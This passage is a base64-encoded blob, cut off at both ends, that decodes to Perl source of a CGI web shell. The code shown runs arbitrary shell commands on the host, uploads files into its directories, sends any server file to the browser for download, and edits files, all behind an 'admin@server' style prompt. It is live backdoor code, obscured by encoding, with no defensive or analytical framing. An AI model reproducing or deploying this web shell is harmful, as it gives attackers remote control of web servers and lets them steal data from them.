3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgoKPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+CjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0iIjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOwoJbXkgJHJlc3VsdD0iIjsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQgPSIiOwoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVz